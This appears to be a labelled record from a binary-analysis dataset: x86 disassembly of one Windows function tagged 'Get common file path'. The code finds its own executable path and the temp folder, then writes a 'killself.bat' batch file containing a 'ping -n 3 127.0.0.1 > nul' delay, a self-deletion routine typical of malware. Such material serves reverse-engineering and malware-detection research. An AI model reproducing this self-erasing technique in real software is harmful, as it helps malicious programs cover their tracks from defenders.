Function at 0x40acd0
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x474cc6
mov eax, dword fs:[0]
push eax
sub esp, 0x6ec
mov eax, dword [0x496694]
xor eax, esp
mov dword [esp + 0x6e4], eax
push esi
push edi
mov eax, dword [0x496694]
xor eax, esp
push eax
lea eax, [esp + 0x6f8]
mov dword fs:[0], eax
push 0x208
lea eax, [esp + 0x4e8]
push 0
push eax
call fcn.0041a050
add esp, 0xc
push 0x104
lea ecx, [esp + 0x4e8]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push 0x208
lea edx, [esp + 0x2e0]
push 0
push edx
call fcn.0041a050
add esp, 0xc
lea eax, [esp + 0x4e4]
push eax
lea ecx, [esp + 0x2e0]
push 0x104
push ecx
call fcn.0040ffcd
add esp, 0xc
lea edx, [esp + 0x2dc]
push 0x5c
push edx
call fcn.00410030
push 0x489550
lea edx, [esp + 0x2e8]
xor ecx, ecx
push 0x104
push edx
mov word [eax + 2], cx
call fcn.0040ff58
add esp, 0x14
push 0x208
lea eax, [esp + 0xd8]
push 0
push eax
call fcn.0041a050
add esp, 0xc
lea ecx, [esp + 0xd4]
push ecx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push str.killself.bat
lea edx, [esp + 0xd8]
push 0x104
push edx
call fcn.0040ff58
add esp, 0xc
push 2
lea eax, [esp + 0xd8]
push eax
lea ecx, [esp + 0x14]
push ecx
call fcn.004066a0
lea edx, [esp + 0xc]
push str.ping__n_3_127.0.0.1___nul
push edx
mov dword [esp + 0x708], 0
call fcn.0040a000
add esp, 8
mov esi, eax
push 0xa
mov ecx, esi
call fcn.004059f0
mov eax, dword [esi]
mov eax, dword [eax + 4]
mov ecx, dword [eax + esi + 0xc]
xor edi, edi
test cl, 6
jne 0x40ae45
mov eax, dword [eax + esi + 0x38]
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0x34]
call eax
cmp eax, 0xffffffff
jne 0x40ae45
mov edi, 4
mov ecx, dword [esi]
mov ecx, dword [ecx + 4]
add ecx, esi
test edi, edi
je 0x40ae65
mov eax, dword [ecx + 0xc]
or eax, edi
cmp dword [ecx + 0x38], 0
jne 0x40ae5e
or eax, 4
push 0
call fcn.00404de0
push 0x4895c0
push ecx
lea edx, [esp + 0x2e4]
push edx
push ecx
lea eax, [esp + 0x1c]
push 0x4895c4
push eax
call fcn.0040a000
add esp, 0xc
push eax
call fcn.0040a000
add esp, 0xc
push eax
call fcn.0040a000
add esp, 8
mov esi, eax
push 0xa
mov ecx, esi
call fcn.004059f0
mov ecx, dword [esi]
mov eax, dword [ecx + 4]
xor edi, edi
test byte [eax + esi + 0xc], 6
jne 0x40aec8
mov eax, dword [eax + esi + 0x38]
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0x34]
call eax
cmp eax, 0xffffffff
jne 0x40aec8
mov edi, 4
mov ecx, dword [esi]
mov ecx, dword [ecx + 4]
add ecx, esi
test edi, edi
je 0x40aee8
mov eax, dword [ecx + 0xc]
or eax, edi
cmp dword [ecx + 0x38], 0
jne 0x40aee1
or eax, 4
push 0
call fcn.00404de0
push 0x4895c0
push ecx
lea edx, [esp + 0x4ec]
push edx
push ecx
lea eax, [esp + 0x1c]
push 0x4895c4
push eax
call fcn.0040a000
add esp, 0xc
push eax
call fcn.0040a000
add esp, 0xc
push eax
call fcn.0040a000
add esp, 8
mov esi, eax
push 0xa
mov ecx, esi
call fcn.004059f0
mov ecx, dword [esi]
mov eax, dword [ecx + 4]
xor edi, edi
test byte [eax + esi + 0xc], 6
jne 0x40af4b
mov eax, dword [eax + esi + 0x38]
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0x34]
call eax
cmp eax, 0xffffffff
jne 0x40af4b
mov edi, 4
mov ecx, dword [esi]
mov ecx, dword [ecx + 4]
add ecx, esi
test edi, edi
je 0x40af6b
mov eax, dword [ecx + 0xc]
or eax, edi
cmp dword [ecx + 0x38], 0
jne 0x40af64
or eax, 4
push 0
call fcn.00404de0
push 0x4895c0
push ecx
lea edx, [esp + 0xdc]
push edx
push ecx
lea eax, [esp + 0x1c]
push 0x4895c4
push eax
call fcn.0040a000
add esp, 0xc
push eax
call fcn.0040a000
add esp, 0xc
push eax
call fcn.0040a000
add esp, 8
mov esi, eax
push 0xa
mov ecx, esi
call fcn.004059f0
mov ecx, dword [esi]
mov eax, dword [ecx + 4]
xor edi, edi
test byte [eax + esi + 0xc], 6
jne 0x40afce
mov eax, dword [eax + esi + 0x38]
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0x34]
call eax
cmp eax, 0xffffffff
jne 0x40afce
mov edi, 4
mov ecx, dword [esi]
mov ecx, dword [ecx + 4]
add ecx, esi
test edi, edi
je 0x40afee
mov eax, dword [ecx + 0xc]
or eax, edi
cmp dword [ecx + 0x38], 0
jne 0x40afe7
or eax, 4
push 0
call fcn.00404de0
lea eax, [esp + 0x10]
call fcn.004078c0
test eax, eax
jne 0x40b01d
mov edx, dword [esp + 0xc]
mov ecx, dword [edx + 4]
mov eax, dword [esp + ecx + 0x18]
lea ecx, [esp + ecx + 0xc]
or eax, 2
cmp dword [ecx + 0x38], 0
jne 0x40b016
or eax, 4
push 0
call fcn.00404de0
xor eax, eax
mov word [esp + 0xb8], ax
mov esi, 7
lea eax, [esp + 0xd4]
mov dword [esp + 0xcc], esi
mov dword [esp + 0xc8], 0
lea edx, [eax + 2]
jmp 0x40b050
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x40b050
sub eax, edx
sar eax, 1
push eax
lea ecx, [esp + 0xd8]
push ecx
lea ecx, [esp + 0xc0]
call fcn.00401290
lea ecx, [esp + 0xb8]
mov byte [esp + 0x700], 1
call fcn.0040bcc0
cmp dword [esp + 0xcc], 8
jb 0x40b0a2
mov edx, dword [esp + 0xb8]
push edx
call fcn.0040fc81
add esp, 4
xor eax, eax
lea ecx, [esp + 0x6c]
mov dword [esp + 0xcc], esi
mov dword [esp + 0xc8], 0
mov word [esp + 0xb8], ax
mov dword [esp + 0x700], 0xffffffff
call fcn.004067a0
lea ecx, [esp + 0x6c]
push ecx
mov dword [esp + 0x70], vtable.std::ios_base.0
call fcn.0040e179
add esp, 4
mov ecx, dword [esp + 0x6f8]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [esp + 0x6e4]
xor ecx, esp
call fcn.0040f787
mov esp, ebp
pop ebp
ret